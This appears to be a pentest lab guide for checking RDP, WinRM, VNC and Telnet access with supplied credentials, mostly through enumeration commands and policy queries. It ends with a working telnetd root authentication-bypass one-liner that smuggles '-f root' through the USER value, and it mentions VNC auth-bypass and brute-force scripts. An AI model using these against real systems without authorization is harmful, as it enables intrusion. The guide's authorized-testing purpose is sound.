Validate RDP, WinRM, VNC and Telnet access contexts

RDP baseline: authentication-only check

Copy# RDP baseline: authentication-only check
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore

# Variant — open an RDP desktop
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /dynamic-resolution /cert:ignore

# Variant — identify RDP security requirements
nmap -p 3389 --script rdp-enum-encryption,rdp-ntlm-info TARGET

Decisive output: successful authentication-only validation supports that the credential is accepted for RDP/NLA. It does not prove an interactive desktop will be granted under every policy/session condition.

Let FreeRDP prompt for the password. /cert:ignore suppresses certificate validation and is suitable only in the controlled lab context; it removes server-identity protection.

1. Listener, service and configured port

Use this read-only sequence after obtaining an authorized local administrative session on the destination, or when the exercise explicitly supplies equivalent remote-management access. It answers four different questions: is RDP enabled, is a listener actually present, what security layer/NLA policy applies, and does the candidate identity have an effective remote-interactive logon right? Do not change registry values or policy merely to make a credential work.

Copy# 1. Listener, service and configured port
Get-Service TermService
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
qwinsta

1. Listener, service and configured port

CopyREM 1. Listener, service and configured port
netstat -ano | findstr LISTENING | findstr ":3389"

REM 2. NLA, transport security and policy precedence
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MinEncryptionLevel

reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v UserAuthentication
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v SecurityLayer

REM 2. NLA, transport security and policy precedence
gpresult /scope computer /v

REM 3. Candidate membership and effective logon rights
net localgroup "Remote Desktop Users"
whoami /groups

Read: fDenyTSConnections = 0 permits RDP at the local setting; 1 denies new RDP connections. PortNumber is displayed as a registry DWORD, commonly hexadecimal 0xD3D for 3389. A running TermService plus an RDP-Tcp listener in qwinsta and a listening socket establishes host-side listener state. A missing :3389 socket is not decisive if PortNumber is nondefault. Policy can override the local value, so inspect resultant policy before treating this as effective configuration.

Read: UserAuthentication = 1 requires Network Level Authentication. For SecurityLayer, 0 is native RDP security, 1 negotiates, and 2 requires TLS. MinEncryptionLevel further constrains client compatibility. A missing policy value means “not configured at this policy path,” not that the feature is absent. Use gpresult to identify the winning computer policy when local and policy-backed values conflict or revert after refresh. These settings explain negotiation failures; they do not grant a user logon rights.

3. Candidate membership and effective logon rights

From an elevated PowerShell or Command Prompt, export the currently applied user-right assignments and inspect only the RDP entries:

Copy# 3. Candidate membership and effective logon rights
$policy = Join-Path $env:TEMP 'rdp-user-rights.inf'
secedit /export /mergedpolicy /areas user_rights /cfg $policy /quiet
Select-String -Path $policy -Pattern '^SeRemoteInteractiveLogonRight','^SeDenyRemoteInteractiveLogonRight'

Read: the candidate must be covered by SeRemoteInteractiveLogonRight; membership in local Administrators or Remote Desktop Users commonly supplies that right, but the actual applied policy is decisive. SeDenyRemoteInteractiveLogonRight overrides the allow right. Exported entries can be names or SIDs, so resolve unfamiliar SIDs before deciding. whoami /groups proves only the current process token; use it for the candidate only when you are actually running in that candidate's context. A group listing alone does not prove an effective right when domain policy or nested membership changes the result.

4. Source-relative validation and decision

Copy# 4. Source-relative validation and decision
nmap -Pn -n -p 3389 --reason TARGET
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore

# WinRM baseline: interactive session
evil-winrm -i TARGET -u USER

# WinRM baseline: interactive session
evil-winrm -i TARGET -u 'DOMAIN\\USER'

# Variant — WinRM over HTTPS
evil-winrm -i TARGET -u USER -S -P 5986

Ready for an interactive attempt: the actual source reaches the configured RDP port; the listener is enabled; the client can meet the NLA/security requirements; the credential is accepted in the intended local/domain context; and the identity has the effective allow right without an applicable deny right. Ruled out in this context: a decisive required condition is absent, such as an effective deny assignment or no listener on the configured port. Inconclusive: access to policy data is denied, group/SID expansion is unresolved, GPO precedence is unclear, or network filtering prevents source-relative validation. Do not turn an inconclusive result into “bad password” or “RDP disabled.”

Decisive output: an interactive PowerShell prompt establishes WinRM authorization. Immediately verify identity and host context with whoami, hostname and Get-NetIPAddress.

Windows PowerShell remoting

Copy# Variant — Windows PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred

Next action: after a session, re-enumerate identity, groups, privileges, files, local services/listeners and routes. Password spraying, pass-the-hash and ticket use belong to later credential/AD blocks.

VNC

Copy# VNC
nmap -Pn -sV --script vnc-info -p PORT TARGET
vncviewer TARGET:PORT

# Telnet
nmap -Pn -sV -p PORT TARGET
nc -nv TARGET PORT
telnet TARGET PORT

VNC may expose a desktop without Windows logon semantics; the VNC server's authentication and the resulting OS session identity are separate. Use realvnc-auth-bypass or password testing only for a confirmed compatible product and explicit authorized objective, then verify the desktop identity.

Telnet is plaintext and may expose a banner/login prompt. Validate only legitimately acquired credentials; do not make telnet-brute a baseline. After login, verify host and identity because appliance/application shells can differ from an OS shell. Source supplement: reviewed getSH Nmap VNC/Telnet blocks.

GNU Inetutils telnetd — conditional authentication-bypass check

Use only after identifying the affected GNU Inetutils telnetd/login chain and its patch status. CVE-2026-24061 concerns how a supplied USER value reaches login; it does not apply to every Telnet server. Distribution backports matter.

Copy# GNU Inetutils telnetd — conditional authentication-bypass check
# Client supports sending the autologin USER environment value
USER='-f root' telnet -a TARGET PORT

Read: if a shell is obtained, verify hostname and id. A prompt or echoed username is not root access. A different daemon, fixed build, client negotiation mismatch or a rejected USER value → return to service identification. The affected upstream range and distribution fixes must be checked against the advisory rather than inferred from port 23.